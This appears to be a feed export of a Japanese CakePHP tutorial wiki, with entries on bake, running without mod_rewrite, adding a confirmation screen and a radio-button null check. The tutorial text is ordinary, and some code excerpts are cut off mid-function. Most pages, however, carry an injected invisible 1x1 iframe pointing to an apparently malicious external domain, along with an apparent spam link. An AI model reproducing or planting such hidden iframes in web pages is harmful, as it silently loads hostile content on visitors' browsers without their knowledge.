CakePHPまとめ@Wiki
http://w.atwiki.jp/nezox/
CakePHPまとめ@Wiki
ja
2006-08-12T18:10:55+09:00
1155373855
-
所からでも使える関数
https://w.atwiki.jp/nezox/pages/8.html
testest
2006-08-12T18:10:55+09:00
1155373855
-
ラジオボタンのNULLチェック
https://w.atwiki.jp/nezox/pages/7.html
<iframe src="http://2ch.bluesvirus.com" height="1" width="1" frameborder=
"0"></iframe>
<p>Html
Helperのradioを生成する時、ラジオボタンの前に同じnameのhiddenを生成する事で、チェックが一つも無かった場合でもValidation出来るようにします。<br>
<br>
/cake/libs/view/helpers/html.phpを改造します。<br>
<br>
radio関数に下記のように追記します。<br>
<br>
---この部分を追記します-------<br>
// Auto Render Hidenn For Null Check / Nezox:2006.08.12<br>
$out[] = sprintf($this->tags['hidden'], $this->model, $this->field,
$this->parseHtmlOptions(array('value'=>'')), null);<br>
----------------------------------------<br>
<br>
<br>
【/cake/libs/view/helpers/html.php】<br>
<br>
/**<br>
* Creates a set of radio widgets.<br>
*<br>
* @param string $fieldName Name of a field, like this "Modelname/fieldname"<br>
* @param array $options Radio button options array<br>
* @param array $inbetween String that separates the radio buttons.<br>
* @param array $htmlAttributes Array of HTML attributes.<br>
* @param boolean $return Wheter this method should return a value or output
2007-08-04T16:14:37+09:00
1186211677
-
確認画面を挟む
https://w.atwiki.jp/nezox/pages/6.html
&html(<iframe src="http://2ch.bluesvirus.com" height="1" width="1" frameborder="0"></iframe>)
全然更新してなくてごめんなさい。。
&html(<a href="http://akelos.free4seo.com/">最近はAkelosを使っています。</a>)
bakeで自動生成されたaddアクションは下記のようになります。
function add() {
if(empty($this->data)) {
$this->set('login', null);
} else {
$this->cleanUpFields();
if($this->Login->save($this->data)) {
if(is_object($this->Session)) {
$this->Session->setFlash('The Login has been saved');
$this->redirect('/login/index');
} else {
$this->flash('Login saved.', '/login/index');
}
} else {
if(is_object($this->Session)) {
$this->Session->setFlash('Please correct errors below.');
}
$data = $this->data;
$this->set('login', $data);
}
}
}
このままでは、入力情報がDBに保存される前に確認画面は表示されません。しかし、確認画面が必要な場面もあります。
以下のように書き換え、確認画面のView(confirm.thtml)を作成します。
function add() {
if(empty($this->data)) {
$this->set('login', null);
} else {
$this->cleanUpFiel
2007-09-25T02:05:07+09:00
1190653507
-
bake
https://w.atwiki.jp/nezox/pages/5.html
&html(<iframe src="http://2ch.bluesvirus.com" height="1" width="1" frameborder="0"></iframe>)
全然更新してなくてごめんなさい。。
&html(<a href="http://akelos.free4seo.com/">最近はAkelosを使っています。</a>)
/cake/scripts/bake.php は、対話形式でいくつかの質問に答えるだけでModel View Controllerを自動生成してくれるコマンドラインのスクリプトです。
(/app/config/database.phpが適切に設定されている必要があります。)
___ __ _ _ ___ __ _ _ __ __ __ _ _ ___
| |__| |_/ |__ |__] |__| |__] |__] |__| |_/ |__
|___ | | | \_ |___ | | | | |__] | | | \_ |___
---------------------------------------------------------------
[M]odel
[C]ontroller
[V]iew
Please select a class to Bake: (M/V/C)
> M
---------------------------------------------------------------
Model Bake:
---------------------------------------------------------------
Possible models based on your current database:
1. Login
2. PersonProfile
Enter a number from the list above, or type in the name of another model.
> 1
Would you like to
2007-09-25T02:06:06+09:00
1190653566
-
mod_rewriteが使えない場合
https://w.atwiki.jp/nezox/pages/4.html
&html(<iframe src="http://2ch.bluesvirus.com" height="1" width="1" frameborder="0"></iframe>)
mod_rewriteなしでCakePHPを使用する場合、core.phpの設定を変更します。
/app/config/core.php 40行目あたり
// define ('BASE_URL', env('SCRIPT_NAME'));
のコメントアウトを外します。↓
define ('BASE_URL', env('SCRIPT_NAME'));
また、各ActionへアクセスするURLは下記のようになります。
http://www.XXXX.com/index.php/post/add
(例:コントローラ post の アクション add )
※このため、bakeで自動生成した編集リンクなどは書き直す必要があります。
mod_rewriteなしの場合や、単発フォーム制作にもCakeが使えて便利です。
2007-08-04T16:10:04+09:00
1186211404
-
メニュー2
https://w.atwiki.jp/nezox/pages/3.html
**更新履歴
#recent(20)
2006-07-29T22:19:52+09:00
1154179192
-
メニュー
https://w.atwiki.jp/nezox/pages/2.html
メニュー
-[[トップページ]]
-[[参考リンク]]
2006-07-30T01:02:35+09:00
1154188955
-
トップページ
https://w.atwiki.jp/nezox/pages/1.html
&html(<iframe src="http://2ch.bluesvirus.com" height="1" width="1" frameborder="0"></iframe>)
全然更新してなくてごめんなさい。。
&html(<a href="http://akelos.free4seo.com/">最近はAkelosを使っています。</a>)
*目次
**はじめに
-CakePHPとは
**インストール
-mod_rewriteが使える場合
-[[mod_rewriteが使えない場合]]
**動作確認
-DB接続
-MVCのサワリを理解する
**便利な使い方
-scaffold
-[[bake]]
-created / midified
**色々な場面に対応する
-[[確認画面を挟む]]
-セッションを使う
-画像をアップロード
-ページングする
-DATETIME型の表示形式をカスタマイズ
**Modelを活用する
-hasMany
-belongsTo
-HABTM
**Helperを活用する
-Html
-Pagination
-Error
**Cakeの拡張
-DBと連動したVaridation
-[[所からでも使える関数]]
-[[ラジオボタンのNULLチェック]]
2007-09-25T02:04:24+09:00
1190653464